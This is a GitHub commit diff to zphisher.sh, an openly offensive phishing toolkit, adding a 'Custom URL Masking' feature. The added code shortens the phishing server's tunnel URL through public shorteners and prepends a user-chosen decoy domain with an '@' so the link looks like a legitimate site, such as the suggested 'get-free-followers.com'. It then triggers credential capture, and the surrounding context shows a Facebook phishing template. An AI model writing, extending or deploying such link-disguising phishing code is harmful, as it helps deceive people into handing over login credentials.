Skip to content

Commit 28cfe68

Browse files
htr-techE343IO
andcommitted
Added Custom URL Masking Feature (#620)
Co-authored-by: E343IO <E343IO@users.noreply.github.com>
1 parent d843a41 commit 28cfe68

File tree

1 file changed

+65
-2
lines changed

1 file changed

+65
-2
lines changed

zphisher.sh

Lines changed: 65 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -486,6 +486,8 @@ start_ngrok() {
486486

487487
sleep 8
488488
ngrok_url=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -Eo '(https)://[^/"]+(.ngrok.io)')
489+
custom_url "$ngrok_url"
490+
capture_data
489491

490492
# ngrok_url1=${ngrok_url#https://}
491493
# echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 1 : ${GREEN}$ngrok_url"
@@ -508,8 +510,9 @@ start_cloudflared() {
508510
fi
509511

510512
sleep 8
511-
512513
cldflr_url=$(grep -o 'https://[-0-9a-z]*\.trycloudflare.com' ".server/.cld.log")
514+
custom_url "$cldflr_url"
515+
capture_data
513516

514517
# cldflr_link1=${cldflr_link#https://}
515518
# echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 1 : ${GREEN}$cldflr_link"
@@ -550,8 +553,10 @@ start_loclx() {
550553
sleep 1 && ./.server/loclx tunnel --raw-mode http --region ${loclx_region} --https-redirect -t "$HOST":"$PORT" > .server/.loclx 2>&1 &
551554
fi
552555

553-
sleep 10
556+
sleep 12
554557
loclx_url=$(cat .server/.loclx | grep -o '[0-9a-zA-Z.]*.loclx.io')
558+
custom_url "$loclx_url"
559+
capture_data
555560

556561
# echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 1 : ${GREEN}http://$loclx_url"
557562
# echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 2 : ${GREEN}$mask@$loclx_url"
@@ -597,6 +602,64 @@ tunnel_menu() {
597602
esac
598603
}
599604

605+
## Custom Mask URL
606+
custom_mask() {
607+
echo
608+
read -n1 -p "Do you want to change Mask URL? [y/N] : " mask_op
609+
echo
610+
if [[ ${mask_op,,} == "y" ]]; then
611+
echo -e "\nEnter Your custom url below (example: https://get-free-followers.com)\n"
612+
read -e -p "=> " -i "https://" mask_url # initial text requires Bash 4+
613+
if [[ ${mask_url//:*} =~ (www|https?) ]]; then # Someone fix this. Exclude (;,:!#$%^& etc). I suck at regex
614+
mask=$mask_url
615+
echo -e "\nUsing custom Masked Url : $mask"
616+
else
617+
echo -e "\nInvalid url type..Using the Default one.."
618+
fi
619+
fi
620+
}
621+
622+
## URL Shortner
623+
site_stat() { [[ ${1} != "" ]] && curl -s -o "/dev/null" -w "%{http_code}" "${1}https://github.com"; }
624+
625+
shorten() {
626+
short=$(curl --silent --insecure --fail --retry-connrefused --retry 2 --retry-delay 2 "$1$2")
627+
if [[ "$1" == *"shrtco.de"* ]]; then
628+
processed_url=$(echo ${short} | sed 's/\\//g' | grep -o '"short_link2":"[a-zA-Z0-9./-]*' | awk -F\" '{print $4}')
629+
else
630+
# processed_url=$(echo "$short" | awk -F// '{print $NF}')
631+
processed_url=${short#http*//}
632+
fi
633+
}
634+
635+
custom_url() {
636+
url=${1#http*//}
637+
isgd="https://is.gd/create.php?format=simple&url="
638+
shortcode="https://api.shrtco.de/v2/shorten?url="
639+
tinyurl="https://tinyurl.com/api-create.php?url="
640+
641+
if [[ ${url} =~ [-a-zA-Z0-9.]*(ngrok.io|trycloudflare.com|loclx.io) ]]; then
642+
if [[ $(site_stat $isgd) == 2* ]]; then
643+
shorten $isgd "$url"
644+
elif [[ $(site_stat $shortcode) == 2* ]]; then
645+
shorten $shortcode "$url"
646+
else
647+
shorten $tinyurl "$url"
648+
fi
649+
650+
{ custom_mask; sleep 1; clear; banner_small; }
651+
url="https://$url"
652+
masked_url="$mask@$processed_url"
653+
processed_url="https://$processed_url"
654+
else
655+
# echo "[!] No url provided / Regex Not Matched"
656+
url="Unable to generate links. Try after turning on hotspot"
657+
processed_url="Unable to Short URL"
658+
fi
659+
echo -e "\nUrl 1: $url\nUrl 2: $processed_url"
660+
[[ $processed_url != *"Unable"* ]] && echo "Url 3: $masked_url"
661+
}
662+
600663
## Facebook
601664
site_facebook() {
602665
cat <<- EOF

0 commit comments

Comments
 (0)